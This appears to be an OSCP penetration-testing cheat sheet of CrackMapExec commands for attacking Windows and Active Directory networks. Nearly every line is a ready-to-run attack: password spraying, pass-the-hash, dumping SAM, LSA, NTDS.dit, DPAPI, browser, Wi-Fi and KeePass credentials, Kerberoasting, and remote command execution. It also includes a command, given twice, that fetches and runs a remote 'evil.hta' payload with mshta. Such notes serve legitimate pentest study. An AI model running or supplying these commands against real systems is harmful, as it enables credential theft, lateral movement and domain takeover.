oscp/Necronomicon/Tools/CrackMapExec.md

• Execute HTA:
  • cme smb IP_ADDRESS -u USERNAME -p 'PASSWORD' -x ‘mshta.exe http://10.6.190.60/evil.hta’
• Get GPP policies
  • cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_autologin
  • cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_password
• Get password policy
  • cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --pass-pol
• Dump SAM
  • cme smb IPADDRESS -u UserName -p 'PASSWORDHERE' --sam
• Dump LSA secrets
  • cme smb IPADDRESS -u UserName -p 'PASSWORDHERE' --lsa
• Check cme protocols
  • cme
• Check cme protocol modules
  • cme PROTOCOL -L
• Check cme protocol module options
  • cme PROTOCOL -M MODULE --options
• Use cme module options
  • cme PROTOCOL -M MODULE -o OPTION
• Log stuff (6.x+)
  • cme smb IP_ADDRESS -u 'a' -p '' --log logfile.log
• add port (most protocols)
  • cme smb IP_ADDRESS -u 'a' -p '' --port 666
• Check Null/Anon Sessions
  • cme smb IP_ADDRESS -u '' -p ''
  • cme smb IP_ADDRESS -u 'a' -p ''
• Conduct password sprays
  • cme smb DC-IP_ADDRESS -u USERS_LIST.txt -p '<some password>' --local-auth
  • cme smb DC-IP_ADDRESS -d DOMAIN -u USERS_LIST.txt -p '<some password>'
• Execute HTA:
  • cme smb IP_ADDRESS -d DOMAIN -u UserName -p 'PASSWORD' -x ‘mshta.exe http://10.6.190.60/evil.hta’
• Get GPP policies
  • cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_autologin
  • cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_password
• Get password policy
  • cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --pass-pol
• Get users and descriptions
  • cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --users
• Get gropups
  • cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --groups
• Get shares
  • cme smb IPADDRESS_LIST -d DOMAIN -u UserName -p 'PASSWORDHERE' --shares
• Dump SAM
  • cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --sam
• Dump LSA secrets
  • cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --lsa
• Dump DPAPI
  • cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --dpapi
• Pass the hash (can do both NTLM and NT hash)
  • cme smb IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash'
  • cme rdp IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash'
• Pass the hash (local) (can do both NTLM and NT hash)
  • cme smb IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash' --local-auth
  • cme rdp IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash' --local-auth
• Dump Wifi Passwords
  • cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M wireless
• Dump firefox creds
  • cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M firefox
• Dump veeam creds
  • cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M veeam
• Search/Dump KeePass
  • cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M keepass_discover
  • cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M keepass_trigger -o KEEPASS_CONFIG_PATH="path_from_module_discovery"
• Defeating LAPS
  • cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --laps
• Find ASREPROASTable users
  • cme ldap DC-IPADDRESS -d DOMAIN -u UserName-List.txt -p '' --asreproast output.txt
• Find Kerberoastable users
  • cme ldap DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --kerberoast output.txt
• Dump gMSA password
  • cme ldap DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --gmsa
• MS teams cookies (this crashes teams on host)
  • cme ldap IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M teams_localdb
• Dump NTDS.dit
  • cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds
  • cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds --users
  • cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds --users --enabled
  • cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds vss
• Spider shares for pattern
  • cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --spider 'share' --pattern 'txt'
  • cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M spider_plus
• Get relay hosts (SMB Signing Not Required)
  • cme smb IPADDRESS_LIST -d DOMAIN -u UserName -p 'PASSWORDHERE' --gen-relay-list relaylist.txt
• Get impersonation tokens
  • cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M impersonate
• Check for nopac
  • cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M nopac
• Check for printnightmare
  • cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M printnightmare
• Check for petitpotam
  • cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M petitpotam
• Check for shadowcoerce
  • cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M shadowcoerce
• Check for zerologon (shit's broken half the time, module not found)
  • cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M zerologon
• Enumerate basic security configs in windows
  • cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M wcc
• Bloodhound ingestor
  • cme ldap DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --bloodhound --collection All
• Run command (x - cmd // X - ps)
  • cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -x 'whoami'
  • cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -X 'whoami'
• Change command exec method (WMI/SMB/ATEXEC)
  • cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --exec-method wmiexec
• Authenticate locally
  • cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --local-auth
• Download file
  • cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --get-file "file downloaded" "output file"
• Screenshot VNC session
  • cme vnc IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --screenshot